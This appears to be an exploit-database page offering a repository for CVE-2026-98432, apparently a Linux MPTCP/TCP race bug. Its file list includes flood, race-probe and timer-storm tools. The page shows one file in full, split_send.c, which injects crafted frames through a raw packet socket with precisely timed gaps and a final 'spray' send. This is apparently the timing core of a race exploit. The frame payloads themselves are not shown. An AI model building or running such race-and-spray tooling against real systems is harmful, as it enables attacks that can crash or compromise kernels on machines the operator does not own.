Exploit databaseDownload repository ZIP
GH-51adea3e8db6ecf0a1c1acacb0539030
rootagi/cve-2026-98432
Sources for CVE-2026-98432
33 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files14
rootagi/cve-2026-98432Revision 8fb754ed7fe5
- ↑..Parent directory
- README.md
- fast_accept.c
- flood.c
- full_listen.py
- lab_listener_accept.py
- mptcp_connect.py
- mptcp_join.py
- mptcp_listen.py
- mptcp_listen_accept.py
- race_batch.py
- race_probe.py
- split_send.c
- timer_storm.c
- trace_tcp.bt
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/split_send.c
C · 4,041 bytes// Send a length-prefixed frame list with precise gaps.
//
// usage: split_send <iface> <dup_to_ack_us> <ack_to_spray_us> <frame_file>
// frame_file: repeated [u32 little-endian length][frame bytes]
//
// Sends frame 0, waits <dup_to_ack_us>, sends all but the last frame,
// waits <ack_to_spray_us>, sends the last frame.
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <time.h>
#include <unistd.h>
struct frame {
unsigned char *data;
size_t len;
};
static long long now_ns(void) {
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return (long long)ts.tv_sec * 1000000000LL + ts.tv_nsec;
}
static void busy_wait_us(long us) {
if (us <= 0)
return;
long long end = now_ns() + (long long)us * 1000LL;
while (now_ns() < end)
;
}
static int send_frames(int fd, struct frame *fr, int n) {
if (n <= 0)
return 0;
struct mmsghdr *msgs = calloc(n, sizeof(*msgs));
struct iovec *iovs = calloc(n, sizeof(*iovs));
if (!msgs || !iovs) {
free(msgs);
free(iovs);
return -1;
}
for (int i = 0; i < n; i++) {
iovs[i].iov_base = fr[i].data;
iovs[i].iov_len = fr[i].len;
msgs[i].msg_hdr.msg_iov = &iovs[i];
msgs[i].msg_hdr.msg_iovlen = 1;
}
int sent = sendmmsg(fd, msgs, n, 0);
free(msgs);
free(iovs);
return sent;
}
int main(int argc, char **argv) {
if (argc != 5) {
fprintf(stderr,
"usage: %s <iface> <dup_to_ack_us> <ack_to_spray_us> "
"<frame_file>\n", argv[0]);
return 2;
}
const char *iface = argv[1];
long gap_us = atol(argv[2]);
long spray_us = atol(argv[3]);
const char *path = argv[4];
FILE *f = fopen(path, "rb");
if (!f) {
perror("fopen");
return 1;
}
struct frame frames[16];
int nf = 0;
while (nf < 16) {
uint32_t len;
if (fread(&len, sizeof(len), 1, f) != 1)
break;
if (len == 0 || len > 65536)
break;
unsigned char *buf = malloc(len);
if (!buf)
break;
if (fread(buf, 1, len, f) != len) {
free(buf);
break;
}
frames[nf].data = buf;
frames[nf].len = len;
nf++;
}
fclose(f);
if (nf < 1) {
fprintf(stderr, "no frames\n");
return 1;
}
int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0) {
perror("socket");
return 1;
}
struct sockaddr_ll sll;
memset(&sll, 0, sizeof(sll));
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_ifindex = if_nametoindex(iface);
if (sll.sll_ifindex == 0) {
perror("if_nametoindex");
return 1;
}
if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0) {
perror("bind");
return 1;
}
long long t0 = now_ns();
int s1 = send(fd, frames[0].data, frames[0].len, 0);
long long t1 = now_ns();
busy_wait_us(gap_us);
long long t2 = now_ns();
int middle_n = (spray_us > 0 && nf >= 3) ? nf - 2 : nf - 1;
int s2 = send_frames(fd, frames + 1, middle_n);
long long t3 = now_ns();
long long t4 = t3, t5 = t3;
int s3 = 0;
if (spray_us > 0 && nf >= 3) {
busy_wait_us(spray_us);
t4 = now_ns();
s3 = send_frames(fd, frames + nf - 1, 1);
t5 = now_ns();
}
fprintf(stderr,
"split_send gap_request=%ld actual_gap_ns=%lld spray_request=%ld "
"actual_spray_ns=%lld send1=%d send2=%d send3=%d "
"t0=%lld t1=%lld t2=%lld t3=%lld t4=%lld t5=%lld\n",
gap_us, t2 - t1, spray_us, t4 - t3, s1, s2, s3,
t0, t1, t2, t3, t4, t5);
for (int i = 0; i < nf; i++)
free(frames[i].data);
close(fd);
return 0;
}